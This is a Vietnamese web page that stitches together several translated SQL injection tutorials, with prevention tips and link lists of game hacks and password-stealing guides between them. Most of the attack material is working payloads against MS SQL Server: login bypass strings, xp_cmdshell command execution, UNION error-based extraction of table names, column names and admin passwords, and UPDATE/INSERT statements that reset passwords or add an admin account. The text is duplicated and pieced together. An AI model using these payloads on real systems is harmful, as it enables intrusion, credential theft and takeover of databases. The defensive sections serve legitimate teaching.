    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5

    Làm tương tự như trên, có thể lấy được tên của các column còn lại như "password", "details". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

    Khi đó thông báo lỗi của SQL Server có thể như sau:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e14' Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5

    Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

    Khi đó thông báo lỗi của SQL Server có thể như sau:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5

    Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173'

    11. Thay đổi dữ liệu (Update/Insert) của CSDL

    Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

    Để thay đổi password của "neo", có thể làm như sau:

    http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

    Hoặc nếu bạn muốn một record mới vào table:

    http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

    Và bây giờ có thể login vào với username "neo2" và password là "newpas5"

    12. Ngăn chặn SQL Injection

    Hãy loại bỏ các kí tự meta như '"/; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:

    • input do người dùng đệ trình
    • các tham số từ URL
    • các giá trị từ cookie

    Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

    Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.

    Xóa các stored procedure trong database master mà không dùng như:

    xp_cmdshell xp_startmail xp_sendmail sp_makewebtask

    13. Ngăn chặn SQL Injection trong ASP.NET

    Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong chúng tôi có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

    Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong chúng tôi là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.

    14. Tài liệu thao khảo

    How I hacked PacketStorm (Rain Forest Puppy)http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

    Great article on gathering information from ODBC error messages

    http://www.blackhat.com/psentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

    A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml

    Senseport's article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm

    Khác:

    http://www.digitaloffense.net/warga.../IOWargames.ppt

    http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6

    http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

    --- Bài cũ hơn ---

  • Những Lỗi Bảo Mật Website Cơ Bản
  • Sql Injection Là Gì? Cách Phòng Chống Tấn Công Sql Injection
  • Hướng Dẫn Hack Spin Coin Master Miễn Phí Dành Cho Những Người Chơi Không Có Thời Gian Nhưng Vẫn Muốn Quay Nhiều
  • Hướng Dẫn Hack Coin Master Nhận Lượt Spin Không Giới Hạn 2022
  • Bản Chất Của Chiêu Trò “bẩn” Hack Doanh Thu Quán Net Đang Làm Các Chủ Quán Hoảng Sợ Và Cách Phòng Chống Ra Sao?
  • Bài 1 Hướng Dẫn Hack Website Bằng Lỗi Sql

    --- Bài mới hơn ---

  • Bloody Z: Zombie Strike Hack, Cheats, Tips & Guide
  • Top 2 Phần Mềm Hack Kim Cương Free Fire Miễn Phí
  • Hack Free Fire Không Bị Khóa Nick: Tải Hack Kim Cương
  • Download Among Us Online Multiplayer V2021.2.21 Full Cho Pc
  • Anger Of Stick 5 Mod Full Tiền (Gold) Kim Cương (Gems)
  • Khái niệm và kiến thức cần biết:

    1. Khái niệm: SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay, theo thống kê thì khoảng 75% hacker sử dụng kĩ thuật này để chiếm quyền điều khiển của hệ thống. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, Firefox,…

    2.Kiến thức cần biết:

    -dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi. Ta thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm tra có lỗi hay không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.

    – dấu thăng (#) và dấu (): các dấu này để đánh dấu chú thích, nghĩa là những kí tự đứng sau một trong hai dấu này trên cùng một dòng sẽ được xem là chú thích được bỏ qua khi thực hiện truy vấn.

    – dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu một truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn.

    kiến thức database (CSDL) và ngôn ngữ thiết kế website (PHP, ASP).

    chúng tôi để thiết kế. MsAccess: thường dành cho các website tin tức quy mô nhỏ, sử dụng ngôn ngữ ASP để thiết kế.

    MSSQL: dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX (

    Oracle: tương tự như MySQL Db2: dùng cho các hệ thông website ngân hàng các hệ thống cần chế độ bảo mật rất cao! MySQL: tất cả các website có thể dùng, sử dụng ngôn ngữ PHP để thiết kế (MySQL và PHP là 2 anh em song sinh , chúng luôn đi kèm với nhau ).

    a) Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback hoặc qua cách truyền tham số (Dork) VD: chitiet.php?id=21 , detail.asp?id=6,…

    b) Khi tìm kiếm được mục tiêu cần tấn công chúng ta cần phải xác định được hệ quản trị CSDL của website đó ( đây là bước quan trọng) bằng cách nhìn tổng thẻ website, ngôn ngữ thiết kế, OS của server qua quá trình thăm dò. Ở đây tôi xin thống kê các database thường gặp đi cùng với ngôn ngữ thiết kế website.

    c) khi xác định được mục tiêu thì các bạn cần kiểm tra các lỗi xem có khả năng tấn công dựa vào nó được không. Các kĩ thuật khai thác lỗi như sau:

    · -Với các tham số được truyền vào VD: index.php?id=21 , index.asp?id=6,.. thì chúng ta chỉ cần thêm các kí tự dấu nháy đơn (‘), dấu nháy kép (“), phần trăm 27 (%27), 00 phần trăm (00%) vào sau id để kiểm tra nếu nó hiện ra lỗi hoặc không hiện ra 1 cái gì (khác hoàn toàn với lúc ban đầu thì 90% bạn có khả năng khai thác được lỗi này – Sẽ trình bày rõ ở phần sau).

    -Với các ô submit thông tin như tìm kiếm, login, contact, request,.. các bạn cũng làm tương tự.

    --- Bài cũ hơn ---

  • Hack Trang Web Bằng Cách Sử Dụng Havij Sql Injection
  • Tải Game Sky Force 2014 V1.34 Hack Full Sao (Unlimited Stars) Và Unlocked Cho Android
  • Hướng Dẫn Tải Pubg Mobile Pc Vn Bằng Tencent Gaming Buddy Tiếng Việt
  • Hướng Dẫn Tải Ứng Dụng Hack Kim Cương Free Fire 2022 Cực Kì Đơn Giản.
  • Hướng Dẫn Bắt Gói Tin Và Phá Dò Tìm Mật Khẩu Wifi Wpa/wpa2
  • Tìm Hiểu Về Sql Injection Và Cách Phòng Chống

    --- Bài mới hơn ---

  • Sql Injection Tutorials (Hướng Dẫn Đầy Đủ Về Sql Injection)
  • Tải Game Summoners’ War: Sky Arena Hack Full Miễn Phí
  • Cách Làm Cho Wii U Trở Nên Hữu Ích Với Homebrew
  • Lệnh, Mã Game Cướp Đường Phố Gta Vice City Tổng Hợp
  • Hướng Dẫn Cách Tải Hack My Talking Angela Dành Cho Android
  • SQL Injection không còn là khái niệm quá mới, nhưng nó vẫn là một trong những kiểu tấn công mạng khá phổ biến. Bài viết này gồm 12 mục, đi từ khái niệm, các bước diễn ra SQL Injection với một ví dụ minh họa (trang web được dùng làm ví dụ chỉ là minh họa, không có thực) đến cách phòng chống tấn công SQL Injection để bạn đọc hiểu về cách thức tấn công này, từ đó có những biện pháp phòng ngừa, bảo vệ website và hệ thống của mình.

    Lưu ý: Không thử tấn công website, hệ thống của cá nhân, tổ chức khác bằng phương pháp này, mọi hành vi như vậy đều là vi phạm pháp luật Việt Nam. Nếu bạn tìm thấy lỗ hổng bảo mật, hãy báo cho người quản trị website, hệ thống đó để họ khắc phục. Bài viết chỉ nhằm mục đích giúp bạn hiểu về kiểu tấn công và có những biện pháp phòng tránh cho ứng dụng web của mình.

    1. SQL Injection là gì?

    SQL Injection là một trong những kiểu hack web bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution (thực thi từ xa), dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, …

    Bài labs SQL Injection

    2. Các bước tiến hành SQL Injection

    2.1. Tìm kiếm mục tiêu

    Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, …

    http://yoursite.com/index.asp?id=10

    Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.

    2.2. Kiểm tra chỗ yếu của trang web

    Thử submit các field username, password hoặc field id, .. bằng hi’ or 1=1–

    Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:

    Nếu thành công, thì có thể login vào mà không cần phải biết username và password

    2.3. Tại sao ‘ or 1=1– có thể vượt qua phần kiểm tra đăng nhập?

    Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

    http://yoursite.com/index.asp?category=food

    v_cat sẽ chứa giá trị của biến request(“category”) là ” và câu lệnh SQL tiếp theo sẽ là:

    SELECT * FROM product WHERE PCategory='food'

    Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory=’food’

    Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food’ or 1=1–, biến v_cat sẽ chứa giá trị “food’ or 1=1– ” và dòng lệnh SQL query sẽ là:

    SELECT * FROM product WHERE PCategory='food' or 1=1--'

    Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng ‘food’ hay không. Hai dấu gạch ngang (–) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “–” sẽ bị bỏ qua. Đối với MySQL, hãy thay “–” thành “#”

    Ngoài ra, cũng có thể thử cách khác bằng cách submit ‘ or ‘a’=’a. Dòng SQL query bây giờ sẽ là:

    SELECT * FROM product WHERE PCategory='food' or 'a'='a'

    Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

    2.4. Thi hành lệnh từ xa bằng SQL Injection

    '; exec master..xp_cmdshell 'ping 10.10.1.2'--

    Hãy thử dùng dấu nháy đôi (“) nếu dấu nháy đơn (‘) không làm việc.

    Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

    #tcpdump icmp

    Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

    2.5. Nhận output của SQL query

    Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

    '; EXEC master..sp_makewebtask "\10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

    Chú ý: folder “” phải được share cho Everyone trước.

    2.6. Nhận dữ liệu qua ‘database using ODBC error message

    Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer ’10’ với một string khác lấy từ CSDL:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

    Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

    SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

    Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

    Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

    [SQL Server]Syntax error converting the nvarchar value

    'table1' to a column of data type int.

    /index.asp, line 5

    Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, “table1“. Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

    Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

    Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

    Khi đó thông báo lỗi của SQL Server có thể là:

    Mẫu so sánh ‘%25login%25’ sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là “admin_login“.

    2.7. Xác định tên của các column trong table

    Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

    Khi đó thông báo lỗi của SQL Server có thể như sau:

    Như vậy tên của column đầu tiên là “login_id“. Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

    Khi đó thông báo lỗi của SQL Server có thể như sau:

    Làm tương tự như trên, có thể lấy được tên của các column còn lại như “password“, “details“. Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

    Khi đó thông báo lỗi của SQL Server có thể như sau:

    2.8. Thu thập các dữ liệu quan trọng

    Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

    Khi đó thông báo lỗi của SQL Server có thể như sau:

    Dễ dàng nhận ra được admin user đầu tiên có login_name là “neo”. Hãy thử lấy password của “neo” như sau:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

    Khi đó thông báo lỗi của SQL Server có thể như sau:

    2.9. Nhận các numeric string

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

    Thì khi đó chỉ nhận được thông báo lỗi ” Page Not Found“. Lý do bởi vì server có thể chuyển passoword “31173” sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

    Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của ‘+’ là 0x2b). Chúng ta thêm chuỗi ‘(space)morpheus’ vào cuối password để tạo ra một string mới không phải numeric string là ‘31173 morpheus’. Khi hàm convert() được gọi để chuyển ‘31173 morpheus’ sang integer, SQL server sẽ phát lỗi ODBC error message sau:

    2.10. Thay đổi dữ liệu (Update/Insert) của CSDL

    Khi đã có tên của tất cả các column trong table, có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

    Để thay đổi password của “”, có thể làm như sau:

    http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

    Hoặc nếu bạn muốn một record mới vào table:

    http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

    3. Ngăn chặn SQL Injection

    Các tổ chức có thể tập trung vào những bước sau đây để bảo vệ mình khỏi những cuộc tấn công SQL Injection:

    • Không bao giờ được tin tưởng những input người dùng nhập vào: Dữ liệu luôn phải được xác thực trước khi sử dụng trong các câu lệnh SQL.
    • Các thủ tục được lưu trữ: Những thủ tục này có thể trừu tượng hóa các lệnh SQL và xem xét toàn bộ input như các tham số. Nhờ đó, nó không thể gây ảnh hưởng đến cú pháp lệnh SQL.
    • Các lệnh được chuẩn bị sẵn: Điều này bao gồm việc tạo truy vấn SQL như hành động đầu tiên và sau đó xử lý toàn bộ dữ liệu được gửi như những tham số.
    • Những cụm từ thông dụng: Những cụm từ này được sử dụng để phát hiện mã độc và loại bỏ nó trước khi câu lệnh SQL được thực hiện.
    • Thông báo lỗi đúng: Thông báo lỗi phải tuyệt đối tránh tiết lộ những thông tin/chi tiết nhạy cảm và vị trí xảy ra lỗi trên thông báo lỗi.
    • Giới hạn quyền truy cập của người dùng đối với cơ sở dữ liệu: Chỉ những tài khoản có quyền truy cập theo yêu cầu mới được kết nối với cơ sở dữ liệu. Điều này có thể giúp giảm thiểu những lệnh SQL được thực thi tự động trên server.
    • Hãy loại bỏ các kí tự meta như ‘”/; và các kí tự extend như NULL, CR, LF, … trong các string nhận được từ:
        input do người dùng đệ trình
    • Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
    • Thay đổi “Startup and run SQL Server” dùng mức low privilege user trong tab SQL Server Security.
    • Xóa các stored procedure trong database mà không dùng như:
        xp_cmdshell

    Ngăn chặn SQL Injection trong ASP.NET

    Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong chúng tôi có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

    Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong chúng tôi là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.

    4. Tài liệu thao khảo

    1. How I hacked PacketStorm (Rain Forest Puppy) http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

    2. Great article on gathering information from ODBC error messages

      http://www.blackhat.com/psentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

    3. A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml

    4. Senseport’s article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm

    5. Khác:

      http://www.digitaloffense.net/warga…/IOWargames.ppt

      http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6

      http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

    Sưu tầm trên Internet từ bài được dịch từ bài viết gốc ” SQL Injection Walkthrough” của xfocus.net

    --- Bài cũ hơn ---

  • Game Road Riot Hack Full Tiền Cho Android
  • Tải Game Dungeon Quest V3.0.4.2 Hack Full Miễn Phí
  • Hoàn Chỉnh Pokemon Emerald Cho Anh Em Lười
  • Cách Xem Mật Khẩu Facebook, Lấy Password Facebook Người Khác
  • Hack Mod Free Fire V1.54.1 Aimbot, Headshot, Full Skin, Anti Ban
  • Web hay
  • Links hay
  • Guest-posts
  • Push
  • Chủ đề top 10
  • Chủ đề top 20
  • Chủ đề top 30
  • Chủ đề top 40
  • Chủ đề top 50
  • Chủ đề top 60
  • Chủ đề top 70
  • Chủ đề top 80
  • Chủ đề top 90
  • Chủ đề top 100
  • Bài viết top 10
  • Bài viết top 20
  • Bài viết top 30
  • Bài viết top 40
  • Bài viết top 50
  • Bài viết top 60
  • Bài viết top 70
  • Bài viết top 80
  • Bài viết top 90
  • Bài viết top 100
  • Chủ đề top 10
  • Chủ đề top 20
  • Chủ đề top 30
  • Chủ đề top 40
  • Chủ đề top 50
  • Chủ đề top 60
  • Chủ đề top 70
  • Chủ đề top 80
  • Chủ đề top 90
  • Chủ đề top 100
  • Bài viết top 10
  • Bài viết top 20
  • Bài viết top 30
  • Bài viết top 40
  • Bài viết top 50
  • Bài viết top 60
  • Bài viết top 70
  • Bài viết top 80
  • Bài viết top 90
  • Bài viết top 100